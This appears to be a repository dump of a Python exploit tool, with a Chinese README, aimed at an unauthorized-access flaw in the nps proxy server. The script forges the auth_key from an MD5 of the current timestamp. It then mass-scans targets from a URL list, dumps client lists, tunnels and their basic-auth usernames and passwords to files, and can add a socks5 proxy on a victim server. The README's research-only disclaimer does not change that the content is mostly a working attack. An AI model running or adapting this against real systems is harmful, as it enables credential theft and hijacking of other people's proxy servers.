├── NpsUnauthorizedScan.py ├── README.md └── requirements.txt /NpsUnauthorizedScan.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import json 3 | import os 4 | import sys 5 | import time 6 | 7 | import requests 8 | import urllib3 9 | 10 | urllib3.disable_warnings() 11 | 12 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", 13 | "Accept": "application/json, text/javascript, */*; q=0.01", 14 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 15 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", 16 | "X-Requested-With": "XMLHttpRequest"} 17 | 18 | 19 | class NPS: 20 | def __init__(self, target, search_mode): 21 | self.url = self.deal_target(target) 22 | self.search_mode = search_mode 23 | 24 | def deal_target(self, target): 25 | if "http" not in target: 26 | host = "http://" + target 27 | else: 28 | host = target 29 | URL = host.split("//")[0] + "//" + host.split("//")[1].split("/")[0] 30 | return URL 31 | 32 | @staticmethod 33 | def get_parameter(self): 34 | """获取auth_key及timestamp""" 35 | timestamp = int(time.time()) 36 | m = hashlib.md5() 37 | m.update(str(int(timestamp)).encode("utf8")) 38 | auth_key = m.hexdigest() 39 | return auth_key, timestamp 40 | 41 | def get_client(self): 42 | """获取客户端""" 43 | auth_key, timestamp = self.get_parameter(self) 44 | url1 = self.url + "/client/list" 45 | data = {"search": '', "order": "asc", "offset": "0", "limit": "1000", 46 | "auth_key": auth_key, "timestamp": timestamp} 47 | try: 48 | res = requests.post(url1, headers=headers, data=data, verify=False, timeout=6) 49 | dict_date = json.loads(res.content) 50 | count = dict_date['total'] 51 | for i in range(count): 52 | rows = dict_date['rows'][i] 53 | client_id = rows['Id'] 54 | client_Addr = rows['Addr'] 55 | client_IsConnect = rows['IsConnect'] 56 | Remark = rows['Remark'] 57 | Status = rows['Status'] 58 | print(f"客户端ID:{client_id} 客服端地址:{client_Addr} 状态:{Status} 客户端状态:{client_IsConnect} 备注:{Remark}") 59 | name = self.url.split('//')[1].replace(':', '_').replace("/", '') 60 | if not os.path.exists("result"): 61 | os.mkdir("result") 62 | with open(f"result/{name}.txt", "a", encoding="utf-8") as f: 63 | f.write(f"客户端ID:{client_id} 客服端地址:{client_Addr} 状态:{Status} 客户端状态:{client_IsConnect} 备注:{Remark}\n") 64 | print("-" * 100) 65 | return True 66 | except Exception as e: 67 | error = str(e.args[0]) 68 | if "由于目标计算机积极拒绝" in error or "HTTPConnectionPool" in error: 69 | print("目标地址访问失败。") 70 | elif "Expecting value" in error: 71 | print("nps未授权访问漏洞已修复。") 72 | else: 73 | print(f"发生其他错误:{error}") 74 | print("-" * 100 + "\n") 75 | return False 76 | 77 | def get_tunnel(self, type): 78 | """获取代理隧道""" 79 | auth_key, timestamp = self.get_parameter(self) 80 | url = self.url + "/index/gettunnel" 81 | data = {"offset": "0", "limit": "1000", "type": type, "client_id": '', "search": '', 82 | "auth_key": auth_key, "timestamp": timestamp} 83 | res = requests.post(url, headers=headers, data=data, verify=False) 84 | dict_date = json.loads(res.content) 85 | count = dict_date['total'] 86 | for i in range(count): 87 | rows = dict_date['rows'][i] 88 | Port = rows['Port'] 89 | Mode = rows['Mode'] 90 | Addr = rows['Client']['Addr'] 91 | client_id = rows['Client']['Id'] 92 | Status = rows['Client']['Status'] 93 | IsConnect = rows['Client']['IsConnect'] 94 | Basic_user = rows['Client']['Cnf']['U'] 95 | Basic_pass = rows['Client']['Cnf']['P'] 96 | Remark = rows['Remark'] 97 | Target = rows['Target']['TargetStr'] 98 | 99 | print(f"客户端ID:{client_id} 模式:{Mode} 端口:{Port} 客服端地址:{Addr} 目标地址:{Target} 状态:{Status} 客服端状态:{IsConnect} " 100 | f"认证用户名:{Basic_user} 认证密码:{Basic_pass} 备注:{Remark}") 101 | name = self.url.split('//')[1].replace(':', '_').replace("/", '') 102 | with open(f"result/{name}.txt", "a", encoding="utf-8") as f: 103 | f.write( 104 | f"客户端ID:{client_id} 模式:{Mode} 端口:{Port} 客服端地址:{Addr} 目标地址:{Target} 状态:{Status} 客服端状态:{IsConnect} 认证用户名:{Basic_user} 认证密码:{Basic_pass} 备注:{Remark}\n") 105 | 106 | def add_socks5(self, client_id, port): 107 | """添加sockes5隧道""" 108 | auth_key, timestamp = self.get_parameter(self) 109 | url1 = self.url + "/index/add" 110 | data = {"type": "socks5", "client_id": client_id, "remark": '', "port": port, "target": '', "local_path": '', 111 | "strip_pre": '', "password": '', "auth_key": auth_key, "timestamp": timestamp} 112 | res = requests.post(url1, headers=headers, data=data, verify=False) 113 | if '"status": 1' in res.text: 114 | print("添加socks5代理成功!") 115 | print("-" * 100) 116 | self.get_tunnel("socks5") # 输出添加后的socks5代理列表 117 | print("-" * 100) 118 | return True 119 | elif "未找到客户端" in res.text: 120 | print("添加代理失败,客服端ID错误,请重新添加。") 121 | return False 122 | elif "The port cannot" in res.text: 123 | print("添加代理失败,端口被占用,请重新添加。") 124 | return False 125 | else: 126 | return False 127 | 128 | def run(self): 129 | print(f"测试:{url}") 130 | print("-" * 100) 131 | is_con = self.get_client() 132 | if not is_con: 133 | pass 134 | else: 135 | mode_list = ['tcp', 'udp', 'socks5', 'httpProxy', 'secret', 'p2p', 'file'] 136 | for mode in mode_list: 137 | self.get_tunnel(mode) 138 | print("-" * 100 + "\n") 139 | if self.search_mode == "single": 140 | is_add = input("是否添加socks5代理(y/N):") 141 | if is_add == 'y' or is_add == 'Y': 142 | while True: 143 | info = input("请输入客户端ID及端口(2 4444):") 144 | client_id = info.split(" ")[0] 145 | port = info.split(" ")[1] 146 | is_suss = self.add_socks5(client_id, port) 147 | if is_suss: 148 | break 149 | 150 | 151 | def banner(): 152 | print(r""" 153 | _ _ _ _ _ _ _ _ _____ 154 | | \ | | | | | | | | | | (_) | | / ____| 155 | | \| |_ __ ___ | | | |_ __ __ _ _ _| |_| |__ ___ _ __ _ _______ __| | | (___ ___ __ _ _ __ 156 | | . ` | '_ \/ __| | | | | '_ \ / _` | | | | __| '_ \ / _ \| '__| |_ / _ \/ _` | \___ \ / __/ _` | '_ \ 157 | | |\ | |_) \__ \ | |__| | | | | (_| | |_| | |_| | | | (_) | | | |/ / __/ (_| | ____) | (_| (_| | | | | 158 | |_| \_| .__/|___/ \____/|_| |_|\__,_|\__,_|\__|_| |_|\___/|_| |_/___\___|\__,_| |_____/ \___\__,_|_| |_| 159 | | | 160 | |_| 161 | nps未授权访问漏洞检测脚本 v1.1 by:ifory 162 | """) 163 | 164 | 165 | if __name__ == '__main__': 166 | banner() 167 | try: 168 | parameter = sys.argv[1] 169 | if parameter == "-t": 170 | url = sys.argv[2] 171 | NPS(url, "single").run() 172 | elif parameter == "-f": 173 | with open(f"{sys.argv[2]}", 'r', encoding='utf-8') as f: 174 | for key in f.readlines(): 175 | url = key.strip() 176 | NPS(url, "batch").run() 177 | else: 178 | print("Help: -t 目标URL\n -f 从txt文件中导入URL批量查询") 179 | except IndexError: 180 | print("Help: -t 目标URL\n -f 从txt文件中导入URL批量查询") 181 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nps Unauthorized Scan 2 | # 前言 3 | 前几日在微信公众号平台看到一篇最近公开nps代理工具0day漏洞的分析,由此利用此原理写了扫描及利用脚本来进行学习,请勿用于非法用途。
4 | https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA

5 | 该POC会直接输出nps后台的客户端列表及各类隧道列表,单目标检测可以给目标添加一条socket5代理。 6 | # 使用方法 7 | ![image](https://user-images.githubusercontent.com/62537001/184465090-b8a86d50-6219-4cb8-8112-1fa87ab52e92.png) 8 | ## 单目标检测 9 | python3 npspoc.py -t http://127.0.0.1:8080
10 | 单目标检测会询问是否给需要给指定客户端添加一条socket5代理。 11 | ![image](https://user-images.githubusercontent.com/62537001/184465138-467ccf45-c7b6-454d-ac50-ec8d1bc1f040.png) 12 | ## 批量检测 13 | python3 npspoc.py -f url.txt
14 | ![image](https://user-images.githubusercontent.com/62537001/184465353-d489b61e-284e-4ea4-87e3-b91505a82ffb.png) 15 | ## 结果 16 | 在result目录下生成ip_端口(127.0.0.1_8080)为名称的txt文档。 17 | ![image](https://user-images.githubusercontent.com/62537001/184465421-4a4dd13b-93f9-4d6e-b0a0-65217373c349.png) 18 | ## 免责申明 19 | 由于传播、利用开源信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不承担任何责任。 20 | 开源仅作为安全研究之用!切勿用作实战用途!仅限于本地复现! 21 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests~=2.26.0 2 | urllib3~=1.25.3 --------------------------------------------------------------------------------